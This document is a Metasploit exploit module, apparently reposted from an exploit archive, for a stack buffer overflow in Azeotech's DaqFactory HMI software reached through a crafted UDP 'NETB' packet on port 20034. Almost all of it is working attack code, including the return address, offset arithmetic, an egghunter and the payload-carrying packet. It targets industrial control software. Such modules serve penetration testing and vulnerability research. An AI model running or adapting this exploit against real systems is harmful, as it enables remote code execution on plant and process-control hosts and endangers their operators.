DaqFactory – HMI NETB Request Overflow (Metasploit)
## # $Id: daq_factory_bof.rb 13750 2011-09-18 02:45:55Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'DaqFactory HMI NETB Request Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Azeotech's DaqFactory product. The specfic vulnerability is triggered when sending a specially crafted 'NETB' request to port 20034. Exploitation of this vulnerability may take a few seconds due to the use of egghunter. This vulnerability was one of the 14 releases discovered by researcher Luigi Auriemma. }, 'Author' => [ 'Luigi Auriemma', # Initial discovery, crash poc 'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit ], 'Version' => '$Revision: 13750 $', 'References' => [ ['URL', 'http://aluigi.altervista.org/adv/daqfactory_1-adv.txt'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'DAQFactory Pro 5.85 Build 1853 on Windows XP SP3', { 'Ret' => 0x100B9EDF, # jmp esp PEGRP32A.dll 'Offset' => 636, } ], ], 'DisclosureDate' => 'Sep 13 2011', 'DefaultTarget' => 0)) register_options( [ # Required for EIP offset OptString.new('DHCP', [ true, "The DHCP server IP of the target", "" ]), Opt::RPORT(20034) ], self.class) end def exploit connect_udp print_status("Trying target #{target.name}...") eggoptions ={ :checksum => false, :eggtag => 'scar', } # Correct the offset according to the 2nd IP (DHCP) length iplen = datastore['DHCP'].length if iplen == 15 offset = 78 elsif iplen == 14 offset = 79 elsif iplen == 13 offset = 80 elsif iplen == 12 offset = 81 elsif iplen == 11 offset = 82 elsif iplen == 10 offset = 83 elsif iplen == 9 offset = 84 elsif iplen == 8 offset = 85 elsif iplen == 7 offset = 86 elsif iplen == 6 offset = 87 # attack class A ip, slightly unlikly, but just in case. elsif iplen == 5 offset = 88 end if offset >= 80 pktoffset = offset - 80 finaloffset = target['Offset']-pktoffset elsif offset <= 79 pktoffset = 80 - offset finaloffset = target['Offset']+pktoffset end # springboard onto our unmodified payload p = Rex::Arch::X86.jmp(750) + payload.encoded hunter,egg = generate_egghunter(p, payload_badchars, eggoptions) sploit = "NETB" # NETB request overflow sploit << rand_text_alpha_upper(233) sploit << "\x00" # part of the packet structure sploit << rand_text_alpha_upper(offset) # include the offset for the DHCP address sploit << make_nops(2) sploit << hunter sploit << rand_text_alpha_upper(52-hunter.length-2) sploit << [target.ret].pack("V") sploit << rand_text_alpha_upper(12) sploit << Rex::Arch::X86.jmp_short(-70) sploit << egg # packetlen needs to be adjusted to a max of 0x400 as per advisory sploit << rand_text_alpha_upper(finaloffset-egg.length) # The use of rand_text_alpha_upper() ensures we always get the same length for the # first IP address. See the following for more details: # http://dev.metasploit.com/redmine/issues/5453 sploit[12,4] = rand_text_alpha_upper(4) udp_sock.put(sploit) handler disconnect_udp end end |